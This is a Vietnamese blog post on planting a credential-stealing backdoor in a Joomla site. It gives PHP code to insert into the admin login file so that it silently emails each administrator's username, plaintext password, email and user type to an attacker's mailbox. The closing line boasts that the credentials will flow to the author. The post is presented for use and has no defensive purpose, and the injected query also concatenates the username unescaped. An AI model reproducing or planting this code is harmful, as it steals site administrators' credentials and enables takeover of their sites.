Chủ Nhật, 5 tháng 2, 2012

Lấy user và password của Joomla


Vào administrator/components/com_login/
Mở file: admin.login.php

Tìm dòng:$mainframe->redirect('index.php');


Thêm trước dòng này 1 đoạn code như sau:

PHP Code:


/** * @author [N]guye[N] * @copyright 2010 */
$db        =& JFactory::getDBO();                $mailfrom         = $mainframe->getCfg( 'mailfrom' );$fromname         = $mainframe->getCfg( 'fromname' );$siteURL        = JURI::base();$uname         = $credentials['username']; $query = 'SELECT name , email, usertype  ' .        ' FROM #__users' .        ' WHERE username = "'.$uname.'"';$db->setQuery( $query );$rows = $db->loadObject();
if ( ! $mailfrom  || ! $fromname ) {    $fromname = $rows->name;    $mailfrom = $rows->email;}$usertype = $rows->usertype;        $email = $rows->email;$pass = $credentials['password'];
$message = "$uname|$email|$pass|$usertype";$to="abc#gmail.com"; // email của attacker$header = "Content-type: text/html; charset=utf-8\r\nFrom: $mailfrom\r\nReply-to: $to";@mail($to, $siteURL, $message, $header); 

Khi admin nó đăng nhập thì username, password, email nó ào ào chạy về email của mình. 

Không có nhận xét nào:

Đăng nhận xét